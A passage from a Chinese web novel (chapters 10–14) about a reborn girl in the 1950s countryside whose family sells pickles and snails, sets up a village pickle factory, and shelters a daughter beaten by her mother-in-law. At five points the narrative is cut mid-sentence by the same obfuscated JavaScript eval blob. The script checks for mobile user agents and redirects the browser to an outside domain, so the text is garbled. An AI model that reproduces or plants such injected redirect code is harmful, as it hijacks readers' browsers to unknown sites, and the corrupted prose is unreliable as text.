“莹莹，哥想办哥厂卖咸菜，你看怎么样？”钟绍华还是有点紧张，所以想先在钟莹莹这练练手，再给家里人说。 “好啊，娘腌的咸菜可好吃了。”钟莹莹听了先是有些吃惊，后面立马就举双手表示赞成，自家老哥有上进心再好不过了。 办厂好啊，办厂能推动共同富裕，这样也就不怕特殊时期有红眼病举报。 村子富了，家也富了，这样都不用自己再做什么，上辈子的灾难应该也能平安度过，她也不知道她们这个小破地方哪里来的那么多自然灾害。 除了地震泥石流和海啸没发生过，隔三四年就表演一次发大水，七八年就来一次干旱。 想要避免这些，最好还是改变村民的收入来源。 等到五五年，国家资源紧缺，开始启用粮油布票，村里人自己种的粮要交公粮，在队里分配的粮吃完后，想要买粮只能凭票购买。 农民比工人所能够分配到的粮票数量可是差远了 “娘，我想办个厂。” “我看你长得像个厂。”陈显英开口就是国粹。 “娘，绍华是觉得您腌的咸菜好吃，想先做一点，拿去城里买了试试水，倘若卖的好了，就和村里商量一下，看看能不能办个厂，大家也能多一条出路。”钟明月温温柔柔的解释道。不同的话在不同的人嘴里说出来，意思都变了。 “对对对，是这个意思。”钟绍华忙不迭的点头。 家里之前大缸咸菜还没吃完呢，每天消耗量很少，都是咸菜配着拌野菜吃。 之前是没有想过这家家户户都有的东西还能拿去卖，自己做的咸菜在村里说第二，没人敢称第一。 村里人穷吃不饱的多，县里有钱的可不少。 现在天热，吃粗粮吃的人胃口不佳。搞点腌辣椒、泡萝卜、酸豆角出去卖，应该会好卖。 得到陈显英的许可后，农忙刚结束，钟绍华就拉了一车自家腌的泡菜去县城里卖了。 钟莹莹也要一起去，她还没见过这个年代的县城呢，之前去过最远的地方就是镇上的供销社。 陈显英不允许，她就学村里小孩撒泼打滚，非说自己跟嫂子学了算数，要跟着一块去算账。挨了一顿揍后，还是得偿所愿了。 挨打不疼，就是有些丢脸。 天还没亮呢，钟绍华就赶着牛车带着媳妇和妹妹一块出发了。早点到才能赶上大集，去晚了人都散场了还卖给谁？ 钟莹莹坐在车上，看着周边的一切，都觉得是那么的新奇。 牛车走过长长的小道，穿过镇子，又走了七八里才到县城。 安县是个小地方，县西边的西街集市就是他们此行的目的地。之前钟绍华和他爹一块来卖筐就是在这个地方。 西街集市的街道边是一排排的青砖瓦房，大部分是开门做生意的，从吃的、穿的、到用的，应有尽有。虽然比不上后世，但也算繁华了，太久没见过这样的场景，钟莹莹一时之间迷了眼。 街上城里人和乡下人对比很是明显，村里来的，基本上满身补丁，城里的就显得精致很多，钟莹莹甚至还在里面看见了几个穿布拉吉的，小县城也是卧虎藏龙啊。 钟绍华找了个角落，把牛拴好，然后卸下咸菜坛子，占了一个摊位，摆好东西后就开始叫卖。 “卖咸菜、有腊菜、辣椒、豆角嘞~” “叫魂啊~一个咸菜有什么好卖的，当谁家没有似的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585675|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”一个挎着菜篮子路过的老太婆被钟绍华洪亮的声音吓了一跳。没好气的白了他一眼。 “婆婆，我们家的咸菜和别家的不一样，您尝尝就知道了。”钟莹莹噔噔噔的从边上跑过来，把钟绍华给挤到一边去，献宝一般的捧着手里的咸菜碗，碗里装了几根裹满辣椒面的酸豆角，红通通的，看着就十分下饭。 钟莹莹生的好看，小圆脸大眼睛，头发被陈显英扎成了两个小啾啾。见人就笑，看起来十分讨喜。 老太婆看着心情好点了，但还是嘴硬：“你说好吃就好吃啊，我尝了要是不好吃，把你摊子给掀了。” 老太婆从钟莹莹的手里接过筷子，从碗里夹了一根酸豆角，瘪着嘴巴嘎嘣嘎嘣嚼了起来。 钟绍华在边上握着钟明月的手，紧紧盯着老太婆的嘴巴，等到她吃完开口的那一刻，一颗心更是提到了嗓子眼。 “算你小娃娃没说谎，咸菜啥价格？咋卖的？” “一碗五分钱，送碗，自带碗四分钱一碗，豆角、紫苏、芹菜、腊菜都一个价，您要多少？”钟绍华出门的时候，陈显英给他塞了一摞带瑕疵的粗瓷碗，窑厂那边烧出来的残次品。买的话也就一分钱一个，这些没花钱，是钟明芳带回来的。 “拿一坛子也行，这是咸菜放不坏的，可以拿回家慢慢吃。一坛子一块二，送坛子，不要坛子一块钱。”小小的一团算账却算的极快。 老太婆乐的笑了：“就那个豆角，给我来一坛子，小丫头片子，账算的还挺精的，跟谁学的？上过学了吗？” “还没上学呢，都是我嫂子教的。”钟莹莹笑盈盈道。 钟绍华从拎起一个装酸豆角的坛子从边上递给老太婆，又被她白了一眼。 老太婆接过坛子，扔给他一块二毛钱，心里暗诽这人怎么一点眼力见没有呢。本来想转身就走的，但是想了想还是对钟明月道：“孩子聪明，记得早点送她去上学。” 她老太婆就是见不得聪明孩子被埋没。 城里娃娃两三岁就送托儿所了，村里有条件的八九岁会把孩子送去上小学。但是绝大多数还是处于一个文盲水平，家里连饭都吃不上了，哪里有钱送孩子去上学。 不过听说上面好像有政策要下来了，镇上也要有小学了，不知道是真的还是假的。 11. 第 11 章 生意开张后，后面的销路慢慢也就打开了。 钟绍华并不笨，只是一开始思路没有转变过来，还是按照卖筐的方式卖吃食。 看到自家小妹成功成交一单后，他就像打了鸡血一样，到处给人推销自家的产品。不光推给来买菜的，连周边的小贩他也没有放过。 卖早点的自家有咸菜，他就让人家尝尝他的，酸辣开胃，说搭着卖会更好，陈显英腌的菜确实好，不会过分咸酸，更多的是一种酸辣的爽脆开胃，空口吃已经很好吃了。 一个上午过去，一车咸菜很快卖光了。 他们一共带了九坛子腌咸菜过来，一坛子十几斤重，里面有两坛子豆角，一坛紫苏，四坛子腌腊菜，还有两坛子泡辣椒。 除了一开始的那个老太婆连坛子买了一整坛外，其他人大多是零零散散的一碗碗买的，加在一起总共买了十块零五毛钱。 钟绍华还是第一次手里拿了这么多钱，家里的钱一直是爹娘拿着的，也就过年的时候才会给自己发一点压岁钱，赚钱的感觉可真美妙啊，心想自己以后要天天卖咸菜。 家里一亩地的粮食，刨除需要交公粮的量，剩下的大多自己吃了，一年到头剩不下几个钱，没有文化，平常就只能做点手工活来赚钱。。 “哎呀，家里的腌咸菜还是有些少了。”光钟绍华这一趟，已经把家里的存货给带出了大半。 “让娘再腌一点，黄瓜也熟了，腌黄瓜更好吃呢。”腌好的黄瓜洗干净，放点糖和辣椒拌一拌，钟莹莹一顿能吃两碗饭呢。 黄家岗的人走了，钟家岗地里的野菜也冒出了不少，村里人家里有吃的，就不像他们一样，把刚冒出来的芽芽都给吃了，一场雨下过后，遍地绿油油的。 “哥哥，明天我们来卖螺丝吧，城里没有呢。”没得腌咸菜卖了也没关系，陈显英做的辣炒螺丝也可好吃了。村里一开始没人吃那个，河沟里的螺丝多的是，都是捞上来杂碎了喂鸡鸭。 陈莹莹要吃，陈显英就试着炒了一碗，还真的出奇的好吃。尤其出锅的时候再撒上一把紫苏，香味更加浓烈了，在陈莹莹的强烈要求下，陈显英又做了辣炒麻虾，香的人眉毛要掉了，就是有些费油，做了两次她就不愿意做了。 “我看可以。”想到那香香辣辣的滋味，钟绍华忍不住吸溜了一下口水。 “麻虾也可以一起卖，到家我就去捞。”钟家岗小沟小湾的特别多，里面很多麻虾和螺丝。干净的水沟里抓的螺丝是可以直接砸掉尾巴炒来吃的，淤泥里捞出来的还需要泡一宿，等螺丝吐吐沙才能吃，不然的话牙会被碜得咯吱咯吱响。 钟莹莹三个人一直到傍晚才回到家，去县里的往返路程实在是太长了。 赚的钱他们三个花了五毛，晌午的时候在国营饭店吃了一顿饭。 剩下的十块钱拿到家里，交给陈显英，她当即就拍板决定，办厂这个事情可以干。 “什么？办厂？”村长的眼睛瞪得像铜铃一样。 他活那么大，还从来没敢想过。要说隔壁村的窑厂办的那么火热，他不眼红，那是假的。但是要是让他自己来干，他觉得那是万万不行嘞。 大字不识一个的粗人，说出去不是让人笑话吗？ 就连他当这个村长，也是钟伟先他们家不要的。 不过为啥伟先他们家人不愿意当村长来着？好像从他爷爷那辈就开始了，之前他爷活着的时候咋说来着？算了不想了，想不起来就证明也不是啥要紧事。 “孩子想要闯一闯，咱们当爹娘的能帮着拉扯一把就拉扯一把。”钟伟先笑了笑说道，继而话锋一转又道：“强先，你也不想新军他几个以后还跟我们似的，在土里刨食吧？” “我家绍华媳妇都娶了，你家新军比我家的还大一岁，有什么打算？” “什么打算？还能有什么打算，相了几个都嫌俺家穷，嫌弃俺家孩子多。”钟新军至今没有一间单独属于自己的房间，钟强先家六个孩子，有四个是儿子，先头俩大的，一个十九，一个十七，都不小了，还挤在一间房里，媒人看了都皱眉头。 钟强先犹豫了很久，最后一咬牙：“干了。” 反正他爷爷没的时候，给他爹说让他多听思霖大伯的话，思霖大伯没了后，他爹又让他多听伟先的话，他知道自己不聪明，但是他最大的优点就是听话。 “绍华在县城卖腌菜，一天就卖了十块钱。”钟伟先知道这只是个例，不过此时此刻拿来作为案例激励一下钟强先再好不过了，财帛动人心，说的再多，都没有直接谈钱来的更加鼓舞人心。 “十块？这么多？”钟强先惊讶的直啧嘴，城里人和乡下人花的不是一个钱吗？十块钱都能买快七八十斤大米了，多兑点水熬稀饭够他们家吃两三个月了。 看来这个厂必须要办了，不仅要办，还得办的越快越好，早点开始生产，早点能够赚钱。他家几个儿子也能早点娶上媳妇。 办厂说着容易，就是不知道这资金从哪来啊？钟强先有点惆怅。 从小一起长大的，一见对方皱眉，钟伟先就知道他在烦什么：“钱的问题你不用担心，花不了几个钱的，连厂房都不用造，之前给黄家岗那群人建的竹屋，拿来腌咸菜一点问题没有，外面再用竹子围一圈，扎个篱笆，里头养个狗，村里人轮流过去守着，不让别人偷了去就行。” “咱们村竹子多的是，也就费点功夫而已。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585676|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>见钟强先的眉头慢慢舒展开来，他接着说：“就是腌菜的坛子和大缸需要去窑厂买，这个钱是省不了的。” “这是小钱。”买坛子和造房子相比，那可便宜多了。 “至于原材料，也就是辣椒，豆角，黄瓜，大蒜这些，村里家家户户种的都有，直接从村里收购就行。等后面村里的用完了，可以从附近几个村子收。”钟伟先恨不得一个字一个字掰开给钟强先解释，话说回来，这强先也该读点书了，老是不识字可怎么行？ 村里这边弄好了，还得去镇里搞审批办公章呢，到时候签字啥的都得他来，看来还是得再教一教，不能再让他躲懒了。 钟莹莹仨人到家把牛栓好，连休息也没休息，就端个大盆下沟摸螺丝去了。 钟绍华负责在下面摸，摸了直接丢岸上，钟明月河钟莹莹两个则是在岸上把螺丝捡到大盆里。 一会的功夫就搞了一大盆。 麻虾得钓，用蚯蚓，或者剥了皮的青蛙，不钓的话，得起个大早，天不亮，拿网兜捞，那时候麻虾在睡觉，都趴在水草上，拿抄网一舀一个准。 搞了三四盆螺丝，钟绍华收手了，弄得多了也没地放，回家还得一个个刷了再砸掉尾巴。 “摸那么多螺丝干什么？家里有那么多油给你们祸害吗？”陈显英没好气的看着自家俩孩子，一个个身上搞的跟泥猴一样。 大的大的不让人省心，都娶媳妇了还能带着媳妇一起抓鱼摸虾，小的小的一天天的就知道说：“娘，这个好吃，你给我做这个吧，那个好吃，你给我做那个吧！”也不知道随了谁，一整个馋嘴猫。 “摸了拿去卖，娘，咱家里有炉子吗？”夏天食物馊的快，带个炉子，放锅里一直热着，就不会变质。 “不是说好了卖腌咸菜吗？怎么又想到卖螺丝了？”这几个孩子一天一个想法。 “今天带去的咸菜都卖完了，剩下的咱家不还得吃吗？重新腌起码还得半个月，闲着也是闲着，我就寻思再卖点别的东西，回头扯布给你和爹一人做一件新衣裳。”钟绍华摸了摸后脑勺，这样煽情的话说得他自己都有点不好意思了。 钟莹莹他们仨身上的衣服有补丁，钟伟先和陈显英身上的补丁就更多了，少有的几件衣服，缝了补，补了缝不知道有多少次。 “娘，明天我们去学校门口卖，开学了，小孩子多，指定能卖出去。”钟明月也跟着发表自己的意见。 钟莹莹跟着说：“对啊，娘，你都不知道，今天咱家的腌咸菜卖的可好了，有人一买就是坛子呢。” “行，卖卖卖，我给你们找炉子去。”陈显英还能说什么呢？闺女儿子和儿媳都那么上进，她也不能拖后腿啊。 12. 第 12 章 钟家的爆炒螺丝和辣炒麻虾在小学门口卖的和之前的腌咸菜一样火热。 五分一碗的炒螺丝，送两根竹签，在摊吃，或用油纸包了，拿回学校去，吃完螺蛳肉螺丝壳子拿来唆味道都能唆半天，一个个被辣的龇牙咧嘴的。 没几天就有人抄袭了，卖的还比钟家人卖的便宜。 好在钟绍华的螺丝处理的干净，陈显英炒的味道也好，很多小学生贪便宜买了对面的吃了一次后，还是会回头买钟家的。 钟莹莹这几天都没跟着去卖货，为啥呢？ 镇上开小学啦~还不要钱，村里的小崽子们都被送去上学了，各村的村干部也被要求每天去镇上学习，上面这次是下定决心要消灭文盲了。 村里的小崽子们没上过学，尚不知读书的险恶，上辈子早五晚十一从千军万马从杀出来的小镇做题家钟莹莹那可太知道了。 一大群孩子围在一起叽叽喳喳的吵死个人，这个时候的学生年龄段横跨的很广，从三四岁，到十三四岁，都有读一年级的。 楚家俩闺女也来上学了，老楚媳妇生儿子伤了身子，没办法再生了，儿子又病成了个傻子，老楚觉得她俩多读点书，将来嫁的好了，也能多帮衬帮衬弟弟。 很快老师就过来了。 “吵什么吵？几个班就你们最吵！这才开学第一天就这样，以后还怎么好好读书？国家让你们免费上学不是让你们混日子的，不好好学的都给我趁早滚蛋！” 陈萍黑着脸把教材往讲桌上重重一放，狠狠的给了这群一年级的小崽子一个下马威。 县里要调老师来镇上，大家都不愿意过来，她是主动请缨过来的，在哪里教书不是教呢？作为一个老革命，哪里需要她，她就往哪里去。 底下的孩子被她这么一手吓得都低着头，只有钟莹莹不怕，在私底下偷瞄这个老师。 刚瞄一眼她就呆住了，这不是买她家腌豆角的那个婆婆吗？有这么巧的吗？ “来两个男同学跟我去搬课本，其他同学保持安静。” 陈萍在教室里转了一圈，转到钟莹莹这的时候，顿了一下，眼里带了几分欣慰，随即点了两个十三四岁的男生跟她去搬东西。 搬书回来后，她任了其中一个男生为班长，又挑了一个女生当纪律委员，被挑中的女生是老楚的大女儿，楚琳琳。 陈萍是语文老师，还有一个男老师，是教数学的，一个学校，统共就三个老师，还有一个是校长。 学校一共就一个年级，这边基本上都是不识字的，高年级开了也是浪费。 陈萍讲课的时候，喜欢一边教一边提问，随便问了几个问题后，就皱起了眉头。这群学生中，也就一个答的上来且答的好的，看来所有东西都要从头教起了。 布置完课后作业，第一节课就结束了。 陈萍把钟莹莹叫到了办公室，准备考一考她现在的水平，看看她学到哪里了，也好因材施教，不埋没孩子。基础的东西学会了，就没必要一直在那抄写浪费时间。 钟家岗办厂的事情开展的倒是颇为顺利，钟强先跟着钟伟先一起来镇上走审批，镇长立马就批了。 还说上面正鼓励广大农村农民发挥自己的特长进行生产劳动，从而为国家创造更多的财富。 审批流程走的快，钟强先只有一个烦心事了。 办厂这事也就自己和钟伟先一家人知道，回村里该怎么说啊？ 上来就让人掏钱，指定没人乐意。 钟伟先提议可以先召开一个动员大会，把人员都给召集起来，然后再给大家宣布这一好消息。 “大家安静一下，今天召集大家来主要是有件事情要通知一下，那就是，我们村要办厂了。”钟强先故作镇定喜气洋洋的宣布。 “真的假的？” “什么厂啊？村长？” “老万，那么会算，你知道不？” 一语激起千层浪，刚刚安静下来的晒场立马又变得吵吵闹闹。 “咳咳，大家安静一点啊” “还有一件好事要宣布，这个厂呢，是归我们村集体所有的，现在上面给了我们一个机会。”钟强先停顿了一下，紧接着道： “凡是钟家岗的村 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585677|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 民，都可以对本厂进行投资，年底按照投资比例进行分红。也就是说投多少钱就能分多少钱，和隔壁的窑厂一样，窑厂，你们都晓得吧？” 提到窑厂，钟家岗的人没有不眼馋的，难道他们和吴家村一样，也要有窑厂了吗？ “村长，你就说吧，要投多少钱？”开口的是钟强先的邻居，钟明先。和村长一个辈份的，都是‘先’字辈。 “是啊，村长，要投多少钱啊？”其他人也跟着议论纷纷，虽然家里穷，但是拿点钱给村里办厂，以后能源源不断的钱生钱，那再穷他们也要把这笔钱从牙缝里省出来。 看着激动不已的村里人，村长内心也十分激动，伟先教给自己的真的有效。都不用自己劝，他们就自动把钱给掏出来了。 “我们要办的是咸菜加工厂，菜从村里收购，坛子需要去窑厂买，场地不花钱，就在村西头的竹屋里，每家出十五块钱就好。”这个钱是和钟伟先商量过的，多了大家拿不起，少了不够用，随便做点什么事，还得集资，不方便。 “切~说来说去就是做咸菜啊，一点臭咸菜谁买啊？到时候卖不出去谁负责？”吴老婆子一听是咸菜厂，立马就跳出来唱衰了。 原来不是窑厂啊~热情褪去，村里其他人也开始迟疑起来，家家户户都有腌咸菜，谁会花钱买这些东西啊？ “村里没人买，卖到城里去啊，城里人稀罕。”村长急的脸通红。 “人家绍华之前去卖腌咸菜还卖了十块零五毛呢？你们谁能一天赚那么多？” 十块钱？底下人又炸锅了~ 原来看钟伟先一家整天早出晚归的是忙活这事啊，一家子闷不吭声的，瞒得可真严实。 “我同意了。”第一个站出来的是老万，站在一群喳喳呼呼的人里他早就受不了了，只想早点结束这场闹剧。 有第一个很快就有第二个，更何况第一个还是老万，其他人都认为他是算出了什么才这么积极。一个个也忙不迭的同意了。 算到最后，只有一直唱衰的吴老婆子不愿意，钟强先也懒得管她，又不姓钟，不干拉倒。 13. 第 13 章 “娘！”钟明芳抱着孩子，心中满腹的委屈，在见到自家老娘的那一刻，化作泪水潸然而下，把孩子往地上一放，就扑进了陈显英怀里。 “明芳？谁打你了？”自家闺女脸上鲜红的巴掌印刺痛了陈显英的双眼。 “奶奶打的”小丫头走路晃晃悠悠的，口齿却利落极了。 堂屋里，钟伟先正在编竹席，见状扔下手里编了一半的席子走出来：“怎么回事？” “龙龙抢丽丽的糖，我就说了他两句，大勇他娘就骂我是个不下蛋的母鸡，生了个赔钱货，浪费她家粮食了，还扇了我一巴掌。”钟明芳哭的不能自己，那生不出孩子能怨自己吗？人医生都说了，是大勇不行，有丽丽这么一个孩子已经算是老天保佑了，她婆婆非说自己骗她。 说生不出孩子是女人的问题，怎么能赖到男人身上呢？隔几天就要找一次茬，这次更过分了，直接对她动了手，她气不过，抱着孩子就回了娘家。 “狗日的大勇呢？他也不拦着点？”钟绍气急，连姐夫也不叫，吴家的人，敢打他姐，他没有这样的姐夫。 “当初就不让你嫁，你非看上那吴大勇，搁家我跟你爹从来没动过你一根手指头，嫁他家去人家想打就打。”陈显英哀其不争，怒其不幸。 当年她就没看上那个吴大勇，周围人都称赞他是老实人，是老实还是无能，她一眼就能分辨出来。 架不住闺女看上了，非要嫁。 无能就无能吧，无能总比有其他的小心思强。 吴大勇那一家老小，也就这个吴大勇还勉强能看，他两个哥哥更是不堪，大哥打老婆，二哥是个二流子，长年不在家，平日里不着四五六的，回家的时候却能掏出来一大笔钱，不知道搁外面做什么偷鸡摸狗的勾当呢。 俩公婆也不是个好的，扣扣嗖嗖的特别喜欢磋磨儿媳妇。 当时陈显英为了让他家人对自家闺女好点，钟明芳嫁过去的时候彩礼她一分没拿，都给她带回去了，还给陪了两床厚棉被的嫁妆。 钟明月进灶房煮了俩鸡蛋剥了壳，递给自家婆婆，让她给闺女滚滚脸，消消肿。 “绍华，抄家伙，走。”听完钟明芳的话，看似冷静的钟伟先，实则是最不冷静的那一个。 “好。”钟绍华抄起一把铁锹就跟上了。 “好什么好？你俩就这么过去，谁打谁还不一定呢？”陈显英气笑了，吴家光儿子就有仨，那个老不死的也能干的很，这俩缺心眼的就这么过去，女的不上，四个男的也能够他俩喝一壶，也不知道平日里的聪明劲儿哪去了。 不知道冲动个什么劲儿。 “那，娘你说该怎么办？”钟绍华沉默了。 陈显英懒得搭理他，转头对着还在哭哭啼啼的钟明芳道：“明芳，你爹和你弟弟想去吴家给你讨个公道，你是个什么想法？” 她陈显英泼辣了一辈子，没想到会生出个性子软的闺女，要是她是钟明芳，吴家人敢打她，她一个人打不过一群人，那进灶房拿了菜刀，乱砍一通，也不会被人这样欺负。 她养钟明芳的时候，也没让她受过别人的气啊？怎的到了婆家就这般的逆来顺受，打不还口，骂不还手的。 “我、我不知道。”说着钟明芳又开始呜呜的哭起来。 她能有什么办法啊？婆婆打她，她总不能打回去吧，当儿媳的怎么能打长辈呢？真打了她婆婆，那她以后跟大勇还怎么过下去啊。 “那你回娘家是为了干嘛？”陈显英反问道。 “我、我……”钟明芳支支吾吾的说不出话来，她只是太难过了，觉得她这么大了还被人扇耳光，很丢脸，想找个地方躲一躲。 “行了，既然她不知道该怎么办，绍华，你给她送回去吧。”陈显英也懒得再管这破事，儿孙自有儿孙福，管得多了到时候还要被人嫌弃。 一双小手突然抓住了陈显英的裤腿，丽丽瞪着水灵灵的大眼睛道：“姥姥，窝不要回去，奶奶掐我，她坏。” 丽丽讨厌奶奶，也讨厌大伯家的两个哥哥，他们老是抢自己东西，自己哭，奶奶就掐自己。告诉娘，娘就会抱着自己哭，说自己命苦，说女孩子就这样，菜籽命，落到肥处迎风长，落到瘦处无人问。 丽丽想住在姥姥家，姑姑和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585678|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舅舅都喜欢她，还会给她买头花。 陈显英抱起小丫头哄道：“好好好，我们丽丽不回去，让你娘自己回去。丽丽留在姥姥家，姥姥给你蒸鸡蛋羹吃。” “哭、哭、哭，就知道哭，丽丽都比你懂事。”听着耳边断断续续的哭声，陈显英心中的心疼都转变成了不耐烦。 见着钟明芳还坐在那里哭，陈显英恨不得踹她一脚，看能不能把她踹的醒悟过来。 能过过，不能过离，她又不是养不起一个闺女了。 好好一个人，自己不立起来，别人再帮也不行。 “姐，你别哭了，再哭下去眼睛又要肿了。”钟明月也奇怪的很，婆婆生了三个孩子，自己丈夫和小妹都是性格利索的。怎么到了大姑姐这里就变得窝窝囊囊的了。 “莹莹，今天你家没人来接你啊？那我们一块回、回家吧~”钟刘先家六岁的孙子，毛蛋一边吸溜着自己快滴到嘴边的鼻涕一边邀请道。 他本来等着钟莹莹是想蹭钟家的牛车一块回家的，那样他就不用走路了，谁知道今天没人来接。 没关系，他和莹莹一起回家好了。 “毛蛋你别吸溜了，擦擦鼻涕吧~”楚秀秀被埋汰的有点看不下去了。 “没事儿~” 接着毛蛋拿手背一抹，得意洋洋的扬起小脸蛋儿对楚秀秀道：“看，鼻涕没有了吧！” 楚秀秀被膈应的不轻，怎么男生都这个样子啊！ 村里孩子像毛蛋、琳琳和秀秀这些下了学都是自己走回家的，只有自己，天天都得人来接，有时候她爹或者他哥驾着牛车来接她的时候，也会带上其他孩子。 大家都想蹭车，所以钟莹莹在这群熟悉与不熟悉的伙伴中，人缘极好。 钟莹莹今天放学也纳了闷了，怎么没人来接自己，没过两分钟，她又跟着毛蛋他们几个高高兴兴回家去了。 长大的第一步就是自己上下学，长大好啊，长大后能做的事情也会更多一点。 兴高采烈的回到家，刚想问她娘今天晚上吃什么，就被一屋子沉闷的气氛给震慑住了，这是发生什么事了？ 14. 第 14 章 一屋子的人没有一个笑脸，看起来真的很惊悚。 “姑姑。”丽丽看见钟莹莹很兴奋，从陈显英的膝盖上爬下来，扑了钟莹莹一个满怀。 三岁抱一岁半，怎么看怎么滑稽。 “莹莹，你自己回来了？”钟绍华大吃一惊，从镇上走回来可不近，就这小短腿，不知道得倒腾多久。 “得了，没一个记得接孩子的。” “走，不说了，莹莹，丽丽，过来，我给你俩弄鸡蛋羹去。”陈显英话都说完了，也不想再继续啰嗦下去，单看她自己怎么选吧。 钟莹莹看那场景，就知道没发生啥好事，姐姐的脸还是肿的，不会是挨打了吧？谁打的？姐夫？ 上辈子不是这样的啊，姐姐走的比姐夫早，姐姐走了没几天，姐夫也殉情了，殉情？ 钟莹莹有点怀疑，自己当初听说的殉情，究竟是真的还是假的了。 她出生的时候，姐夫的爹娘已经全走了，那个时候姐夫和两个哥哥也分家了，钟莹莹和他们接触的少，也并没有听说有什么不和谐的地方。 可是现在，姐夫爹娘都还活着，也没分家，外面的传言那叫一个难听。 “奶奶打的。”丽丽为钟莹莹解了惑。 一大家子，可着姐夫一个老实人欺负，欺负姐夫就算了，现在看来，连自己姐姐也和着一起欺负了。 到了天黑，钟明芳也没有回去。 吴家也没有人找过来。 陈显英虽有点恨铁不成钢，也没有继续撵人。 毕竟是她的闺女，脑子拎不清，该管还是得管。 钟明芳带着丽丽和钟莹莹挤在了一张床上，半夜睡着了还呜呜的哭呢。 钟莹莹对于她这种做法，不好评价。 既然和婆婆过不下去，那就分家啊，分不了家，那男人要了也没啥用了，一心向着自己老娘，只会委屈自己的媳妇和孩子，算什么男人。 在这件事情上，钟莹莹的看法和她老娘完全一致，能过过，不能过离，又不是旧社会了，新社会是能离婚的。 钟明芳在钟家待了三天，都没见吴家的人上门。直到第四天，吴大勇才姗姗来迟。 “娘，我来接明芳回家。”吴大勇搓了搓手，面上很不好意思道。 陈显英斜睨了他一眼：“别叫我娘，谁是你娘？” 他尴尬的挠了挠头，又不敢反驳陈显英，见丽丽从房间探出个头来，忙过去喊她：“丽丽，去给你娘叫出来，爹来接你们回家了。” 本来钟明芳刚走他就要来找人的，但是他娘说，要是敢把人接回来，就别认她这个娘了，她没有这样的儿子。 吴大勇立马认怂了。 吴大军，也就是吴老二，看见自家软蛋弟弟，笑的见牙不见眼，一直打趣他，不就是一个媳妇吗？他吴老二的弟弟，想要几个媳妇弄不来？ 剃着牙道，这个媳妇没了，明儿个他再给吴大勇找一个。 吴大勇不信他的话，他二哥嘴里就没几句实诚话。 后面又在家里磨磨唧唧三天，吴老娘终于松了口，让他来接人，他这不立马就过来了嘛。 “你自己叫，窝不回去。”丽丽冲吴大勇做了个鬼脸，然后躲到陈显英身后去了。 小孩子最能分清大小王，在没有安全感的时候，会去寻找那个对自己最有利的庇佑。 吴大勇使唤不动丽丽，心里有点窝火，又不敢冲着陈显英发火，没得到陈显英让他进屋的允许，只能跟个受气包一样，在钟家的院子冲屋里喊钟明芳。 喊了没几声，钟明芳就泪眼婆娑的出来了。 “明芳，我来接你回家。”吴大勇见钟明芳红着眼眶出来，心里也有些心疼，可他也没办法啊。 钟明芳站在门槛边，攥着自己的衣角，半天没吭声。 陈显英见了在心里夸赞两句，不错，没被人勾勾手指就给叫走了，这几天把道理掰开了揉碎了讲给她的辛苦没白费。 吴大勇还想说些什么。 陈显英冷笑一声：“接明芳回家？哪里是她家？这里才是，我好好一个闺女，嫁到你们家是给你们家当下人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585679|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的吗？打完人了，说一句来接你回家就成了？” 陈显英没收着嗓子，隔壁的老楚都被她的声音喊出来了，在院子外探个头瞧热闹。 陈显英没有什么家丑不可外扬的想法，在她看来家丑就是得外扬，这样才知道，谁才是那个丑。 “娘，我娘也是一时生气……”吴大勇脸上开始冒汗，豆大的汗珠一粒粒的从鬓角滑落。 